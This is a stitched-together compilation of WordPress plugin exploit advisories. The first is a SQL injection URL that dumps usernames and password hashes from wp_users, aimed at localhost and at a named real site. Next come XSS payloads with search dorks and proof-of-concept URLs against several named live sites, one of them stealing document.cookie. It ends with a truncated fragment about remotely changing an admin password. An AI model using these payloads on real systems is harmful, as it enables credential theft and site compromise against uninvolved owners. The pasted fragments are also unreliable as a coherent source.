http://localhost/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3,4,5,6/**/from+wp_users--

humanum.nl/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3,4,5,6/**/from+wp_users--

#################################################################################################
#
# WordPress Simple Tagging Widget Cross Site Scripting Vulnerability (XSS)
#
# Script: http://wordpress.org/extend/plugins/simple-tagging-widget/
#
#################################################################################################
#
# Author : kernel_panic
#
# Site : www.codebomb.org
#
# Mail : kernel_panic@codebomb.org
#
#################################################################################################
#
# DORK  : Try to find your own using Google. The vulnerable sites
# are: www.site.com/?tag=[XSS] or www.site.com/folder/?tag=[XSS]
#
#################################################################################################
EXAMPLE:
http://site.com/?tag=[XSS]
 
e.g.: [XSS]: <script>alert(/XSS/)</script> or try to use others
in order to work
 
POC:
http://www.wiggler.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
http://dialogos.pasok.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
http://www.programacionweb.net/buscador/?tag=%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
 
###################################################################################################

################################################################ 
# 
# Author: FeDeReR and sinner_01 
# Home  : www.darkc0de.com & www.hacking.ge
# 
# Email : FeDeReR@avoe.ge & sinn3r01@gmail.com
# 
# Share the c0de! 
# 
################################################################ 
# 
# Xss
# 
# Soft.Site: http://www.wordpress.com/ 
# 
# Dork:Wordpress Forum 1.7.4
# 
# Dork 2:Fredrik Fahlstad. Version: 1.7.4.
# 
# Xss: http://site.com/path/?forumaction=search
#  
# Search: <script>alert(document.cookie)</script>
# 
# Xss 2: http://site.com/path/?forumaction=showforum&forum=1
# 
# Post a new topic and type: <script>alert(document.cookie)</script>
# 
# 
# 
# 
# 
################################################################

in this hack we can remote change admin password, if registration enabled
................ 
6. admin's password changed, but new password will be send to correct admin email ;/